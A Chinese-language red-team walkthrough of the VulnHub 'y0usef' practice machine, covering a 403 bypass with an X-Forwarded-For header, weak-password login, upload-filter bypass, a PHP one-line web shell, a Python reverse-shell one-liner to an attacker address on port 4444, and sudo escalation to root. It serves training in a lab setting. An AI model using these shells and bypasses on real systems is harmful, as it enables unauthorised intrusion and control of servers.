VulnHub靶机-y0usef |红队打靶
2023-5-30 08:6:28 Author: 0x00实验室(查看原文) 阅读量:10 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 08 篇文章 

kali:192.168.195.13
靶机:192.168.195.30
下载地址: https://download.vulnhub.com/y0usef/y0usef.ova
难度:Easy

全流程思路:

主机发现
端口扫描:22,80端口,基本确认思路就是web探测然后ssh连接。
web信息搜集 指纹探测 403 Bypass 文件上传 提权

局部思路

403绕过

  1. 旁站的方式绕过

  2. 覆盖url的方式

  3. ReFerer修改

  4. X打头的代理参数修改

文件上传检测绕过

  1. 更改后缀名

  2. 更改mime类型------>对于相关文件的 :Content-Type头部

  3. 对文件头部完全的替换为另一种文件类型的头部,将恶意代码放在文件其他部分

下意识的操作

  1. 对目标网站进行指纹信息识别。

  2. 遇到 403禁止访问的时候最好进行 network抓包查看返回码是否为 403

  3. ==进入后台后的思路基本就是寻找上传漏洞==

  4. 如何判断什么是base64:

    1. 0-9,a-z,A-Z,/+=

    2. 很多base64编码的结尾会有一个 =结尾

  5. 在发现后台的登陆界面后我们一般要手动的进行弱口令的猜解,不要直接进行字典的爆破。(看个人习惯吧)

主要的知识点

  1. 403绕过

  2. 文件上传

信息收集

  1. 主机发现和相关服务,版本信息搜集。

  2. 访问web网页(没有什么信息)和它的robots.txt文件(不存在),包括我们==查看完源码==后依然没有什么搜获。

  3. 使用 whatweb工具来对该网页进行相关的 ==指纹信息==识别。发现 Bootstrap开发框架爱等等。==这个必须形成下意识的操作==,即使可能没有什么能立即使用的信息。

    选择 dirsearch进行 web 路径爬取,发现了大量的 403禁止访问禁止我们进行访问,同时发下 adminstration是一个重定向的路径,然后我们对该文件进行访问后发现依然是 403,即使我们通过工作台查看它网络抓包的返回码也是 403

    这里非常细节,为确保确实 403还查看网络抓包。

漏洞:403绕过

由于目标网站出现大量的 403,而且我们也没有其他的什么大的发现所以可以尝试进行 403绕过。

X打头的绕过

  1. 通过burpsuite来进行抓包,方便分析。我们通过 X-Forwarded-For这个参数来进行绕过,我们将其设为 127.0.0.1相当于我们让靶机认为是它自己在访问自己的网站,从而让我们能够绕过 403

  2. 然后我们直接在浏览器访问的时候进行数据包的修改来进行成功的访问,发现是个登陆的界面。

  3. 然后再对该页面进行 burpsuite的抓包分析和访问,我们可以进行简单的密码猜解然后来登陆尝试。发现为弱口令用户和密码 admin admin。我们可以发现最终进入到后台。

    ==注意==:在这部操作中的所有数据包都要加上 X-Forwarded-For:127.0.0.1

漏洞:文件上传

通过我们进入发现了个 Upload file这个选项,这不相等与明示我们要进行相关的 ==文件上传==漏洞测试吗? ==记得加上X字段头==

  1. 我们自己上传一个 php的一句话恶意脚本 cchl.php,但是我们发现了一个问题,我们的上传文件被禁止了。

    <?php $var=shell_exec($_GET['cmd']);echo $var?>

  2. 所以我进行 文件上传的检测绕过,通过修改 mime的类型来进行尝试。及 Content-Type头部。发现成功的上传,同时可以看到该文件被重命名和它的存放路径。

  3. 我们进行访问,同时携带相关的 payload可以发现成功的回显。证明我的文件上传漏洞利用成功,接下来就是反弹 shell了。

反弹shell

  1. 查看是否有 python环境,上传的 payloadwhich python

  2. 上传 payload,打开本地的 4444监听。发现成功的突破边界,拿到一个用户的权限。这个网站不加 ==X-Forwarded-For==字段也是可以的。

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.121.13",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

  3. 浏览 passwd文件来查看可以使用 shell的用户,同时对发现的 yousef用户进行相关目录的浏览发现第一个 flag

    当我们查看 flag的时候,我应该具有判断这 flag可能为 base64编码的能力,对这个 flag解密后我们发现很惊喜

直接登陆提权

  1. 这个靶机的提权非常简单,根据上一步的发现。ssh登陆后,我先进行常规的 id, sudo -l等信息搜集。

    • 通过 id 发现我们是有 sudo权限的

    • 通过 sudo -l我们可以看到我们是可以 secure_path。通过阅读我们可以明显的发现我们是 ALL:ALL什么权限都有的

    • 进而 sudo -s 直接切换为 root用户,然后拿取 flag 但同时我们也发现这个 flag可以也为 base64解码后也简单明了,为作者的联系方式。

      到处靶机拿下

参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247490142&idx=1&sn=e78b84dde996889f9c3f78f699ce67d1&chksm=cfd865a1f8afecb793bbe7bcea7b55bee769c222d887cecaddd0b33b39c802e7573e422b71f0#rd
如有侵权请联系:admin#unsafe.sh